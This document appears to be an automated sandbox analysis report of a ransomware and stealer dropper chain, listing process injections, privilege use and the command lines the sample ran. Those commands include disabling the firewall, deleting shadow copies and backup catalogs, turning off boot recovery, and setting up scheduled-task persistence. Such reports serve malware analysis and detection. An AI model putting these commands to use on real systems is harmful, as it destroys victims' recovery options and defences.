N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Microsoft\P9%fI]5.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\1000058001\rh111.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Microsoft\P9%fI]5.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\wbengine.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\wbengine.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\wbengine.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\19B8.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\1F09.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\210E.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\2351.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\1B30.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 940 wrote to memory of 456 N/A C:\Users\Admin\AppData\Local\Temp\427771632d2469e5a6157c4118b3b8e39913b78f9b630871c3822193ea8fc54a.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\z1627700.exe
PID 940 wrote to memory of 456 N/A C:\Users\Admin\AppData\Local\Temp\427771632d2469e5a6157c4118b3b8e39913b78f9b630871c3822193ea8fc54a.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\z1627700.exe
PID 940 wrote to memory of 456 N/A C:\Users\Admin\AppData\Local\Temp\427771632d2469e5a6157c4118b3b8e39913b78f9b630871c3822193ea8fc54a.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\z1627700.exe
PID 456 wrote to memory of 4584 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\z1627700.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\z9404803.exe
PID 456 wrote to memory of 4584 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\z1627700.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\z9404803.exe
PID 456 wrote to memory of 4584 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\z1627700.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\z9404803.exe
PID 4584 wrote to memory of 3000 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\z9404803.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\z8169226.exe
PID 4584 wrote to memory of 3000 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\z9404803.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\z8169226.exe
PID 4584 wrote to memory of 3000 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\z9404803.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\z8169226.exe
PID 3000 wrote to memory of 3316 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\z8169226.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\z5523838.exe
PID 3000 wrote to memory of 3316 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\z8169226.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\z5523838.exe
PID 3000 wrote to memory of 3316 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\z8169226.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\z5523838.exe
PID 3316 wrote to memory of 1244 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\z5523838.exe C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\q7749930.exe
PID 3316 wrote to memory of 1244 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\z5523838.exe C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\q7749930.exe
PID 3316 wrote to memory of 1244 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\z5523838.exe C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\q7749930.exe
PID 1244 wrote to memory of 4384 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\q7749930.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 1244 wrote to memory of 4384 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\q7749930.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 1244 wrote to memory of 4384 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\q7749930.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 1244 wrote to memory of 4384 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\q7749930.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 1244 wrote to memory of 4384 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\q7749930.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 1244 wrote to memory of 4384 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\q7749930.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 1244 wrote to memory of 4384 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\q7749930.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 1244 wrote to memory of 4384 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\q7749930.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 3316 wrote to memory of 4936 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\z5523838.exe C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\r9059277.exe
PID 3316 wrote to memory of 4936 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\z5523838.exe C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\r9059277.exe
PID 3316 wrote to memory of 4936 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\z5523838.exe C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\r9059277.exe
PID 4936 wrote to memory of 5044 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\r9059277.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4936 wrote to memory of 5044 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\r9059277.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4936 wrote to memory of 5044 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\r9059277.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4936 wrote to memory of 5044 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\r9059277.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4936 wrote to memory of 5044 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\r9059277.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4936 wrote to memory of 5044 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\r9059277.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4936 wrote to memory of 5044 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\r9059277.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4936 wrote to memory of 5044 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\r9059277.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4936 wrote to memory of 5044 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\r9059277.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4936 wrote to memory of 5044 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\r9059277.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 3000 wrote to memory of 4296 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\z8169226.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\s9214653.exe
PID 3000 wrote to memory of 4296 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\z8169226.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\s9214653.exe
PID 3000 wrote to memory of 4296 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\z8169226.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\s9214653.exe
PID 4296 wrote to memory of 2580 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\s9214653.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4296 wrote to memory of 2580 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\s9214653.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4296 wrote to memory of 2580 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\s9214653.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4296 wrote to memory of 2580 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\s9214653.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4296 wrote to memory of 2580 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\s9214653.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4296 wrote to memory of 2580 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\s9214653.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4296 wrote to memory of 2580 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\s9214653.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4296 wrote to memory of 2580 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\s9214653.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4584 wrote to memory of 1052 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\z9404803.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\t1809449.exe
PID 4584 wrote to memory of 1052 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\z9404803.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\t1809449.exe
PID 4584 wrote to memory of 1052 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\z9404803.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\t1809449.exe
PID 1052 wrote to memory of 1804 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\t1809449.exe C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explonde.exe
PID 1052 wrote to memory of 1804 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\t1809449.exe C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explonde.exe
PID 1052 wrote to memory of 1804 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\t1809449.exe C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explonde.exe
PID 456 wrote to memory of 4784 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\z1627700.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\u6996406.exe
PID 456 wrote to memory of 4784 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\z1627700.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\u6996406.exe
PID 456 wrote to memory of 4784 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\z1627700.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\u6996406.exe
PID 1804 wrote to memory of 2180 N/A C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explonde.exe C:\Windows\SysWOW64\schtasks.exe
PID 1804 wrote to memory of 2180 N/A C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explonde.exe C:\Windows\SysWOW64\schtasks.exe
PID 1804 wrote to memory of 2180 N/A C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explonde.exe C:\Windows\SysWOW64\schtasks.exe
PID 4784 wrote to memory of 4608 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\u6996406.exe C:\Users\Admin\AppData\Local\Temp\cb378487cf\legota.exe
PID 4784 wrote to memory of 4608 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\u6996406.exe C:\Users\Admin\AppData\Local\Temp\cb378487cf\legota.exe
PID 4784 wrote to memory of 4608 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\u6996406.exe C:\Users\Admin\AppData\Local\Temp\cb378487cf\legota.exe
PID 1804 wrote to memory of 4176 N/A C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explonde.exe C:\Windows\SysWOW64\cmd.exe
PID 1804 wrote to memory of 4176 N/A C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explonde.exe C:\Windows\SysWOW64\cmd.exe

Uses Task Scheduler COM API

persistence

Uses Volume Shadow Copy service COM API

ransomware

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Windows\system32\certreq.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Windows\system32\certreq.exe N/A

Processes

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Users\Admin\AppData\Local\Temp\427771632d2469e5a6157c4118b3b8e39913b78f9b630871c3822193ea8fc54a.exe

"C:\Users\Admin\AppData\Local\Temp\427771632d2469e5a6157c4118b3b8e39913b78f9b630871c3822193ea8fc54a.exe"

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\z1627700.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\z1627700.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\z9404803.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\z9404803.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\z8169226.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\z8169226.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\z5523838.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\z5523838.exe

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\q7749930.exe

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\q7749930.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 1244 -ip 1244

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1244 -s 572

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\r9059277.exe

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\r9059277.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 4936 -ip 4936

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4936 -s 580

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 5044 -ip 5044

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 5044 -s 204

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\s9214653.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\s9214653.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 4296 -ip 4296

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4296 -s 552

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\t1809449.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\t1809449.exe

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explonde.exe

"C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explonde.exe"

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\u6996406.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\u6996406.exe

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explonde.exe /TR "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explonde.exe" /F

C:\Users\Admin\AppData\Local\Temp\cb378487cf\legota.exe

"C:\Users\Admin\AppData\Local\Temp\cb378487cf\legota.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "explonde.exe" /P "Admin:N"&&CACLS "explonde.exe" /P "Admin:R" /E&&echo Y|CACLS "..\fefffe8cea" /P "Admin:N"&&CACLS "..\fefffe8cea" /P "Admin:R" /E&&Exit

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\w8481755.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\w8481755.exe

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo Y"

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN legota.exe /TR "C:\Users\Admin\AppData\Local\Temp\cb378487cf\legota.exe" /F

C:\Windows\SysWOW64\cacls.exe

CACLS "explonde.exe" /P "Admin:N"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "legota.exe" /P "Admin:N"&&CACLS "legota.exe" /P "Admin:R" /E&&echo Y|CACLS "..\cb378487cf" /P "Admin:N"&&CACLS "..\cb378487cf" /P "Admin:R" /E&&Exit

C:\Windows\SysWOW64\cacls.exe

CACLS "explonde.exe" /P "Admin:R" /E

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo Y"

C:\Windows\SysWOW64\cacls.exe

CACLS "legota.exe" /P "Admin:N"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo Y"

C:\Windows\SysWOW64\cacls.exe

CACLS "..\fefffe8cea" /P "Admin:N"

C:\Windows\SysWOW64\cacls.exe

CACLS "..\fefffe8cea" /P "Admin:R" /E

C:\Windows\SysWOW64\cacls.exe

CACLS "legota.exe" /P "Admin:R" /E

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo Y"

C:\Windows\SysWOW64\cacls.exe

CACLS "..\cb378487cf" /P "Admin:N"

C:\Windows\SysWOW64\cacls.exe

CACLS "..\cb378487cf" /P "Admin:R" /E

C:\Users\Admin\AppData\Local\Temp\1000058001\rh111.exe

"C:\Users\Admin\AppData\Local\Temp\1000058001\rh111.exe"

C:\Users\Admin\AppData\Local\Temp\1000058001\rh111.exe

C:\Users\Admin\AppData\Local\Temp\1000058001\rh111.exe

C:\Windows\system32\certreq.exe

"C:\Windows\system32\certreq.exe"

C:\Users\Admin\AppData\Local\Temp\cb378487cf\legota.exe

C:\Users\Admin\AppData\Local\Temp\cb378487cf\legota.exe

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explonde.exe

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explonde.exe

C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe

"C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe"

C:\Users\Admin\AppData\Local\Microsoft\P9%fI]5.exe

"C:\Users\Admin\AppData\Local\Microsoft\P9%fI]5.exe"

C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe

C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe

C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe

"C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe"

C:\Users\Admin\AppData\Local\Microsoft\P9%fI]5.exe

C:\Users\Admin\AppData\Local\Microsoft\P9%fI]5.exe

C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe

C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe

C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe

C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe"

C:\Windows\system32\netsh.exe

netsh advfirewall set currentprofile state off

C:\Windows\system32\vssadmin.exe

vssadmin delete shadows /all /quiet

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

C:\Windows\system32\netsh.exe

netsh firewall set opmode mode=disable

C:\Windows\System32\Wbem\WMIC.exe

wmic shadowcopy delete

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} recoveryenabled no

C:\Windows\SysWOW64\rundll32.exe

"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main

C:\Windows\system32\wbadmin.exe

wbadmin delete catalog -quiet

C:\Windows\SysWOW64\rundll32.exe

"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main

C:\Windows\system32\wbengine.exe

"C:\Windows\system32\wbengine.exe"

C:\Windows\System32\vdsldr.exe

C:\Windows\System32\vdsldr.exe -Embedding

C:\Windows\System32\vds.exe

C:\Windows\System32\vds.exe

C:\Users\Admin\AppData\Local\Temp\19B8.exe

C:\Users\Admin\AppData\Local\Temp\19B8.exe

C:\Users\Admin\AppData\Local\Temp\1B30.exe

C:\Users\Admin\AppData\Local\Temp\1B30.exe

C:\Users\Admin\AppData\Local\Temp\19B8.exe

C:\Users\Admin\AppData\Local\Temp\19B8.exe

C:\Users\Admin\AppData\Local\Temp\1F09.exe

C:\Users\Admin\AppData\Local\Temp\1F09.exe

C:\Users\Admin\AppData\Local\Temp\210E.exe

C:\Users\Admin\AppData\Local\Temp\210E.exe

C:\Users\Admin\AppData\Local\Temp\2351.exe

C:\Users\Admin\AppData\Local\Temp\2351.exe

C:\Users\Admin\AppData\Local\Temp\2A76.exe

C:\Users\Admin\AppData\Local\Temp\2A76.exe

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\explorer.exe

C:\Windows\explorer.exe

C:\Windows\explorer.exe

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\explorer.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

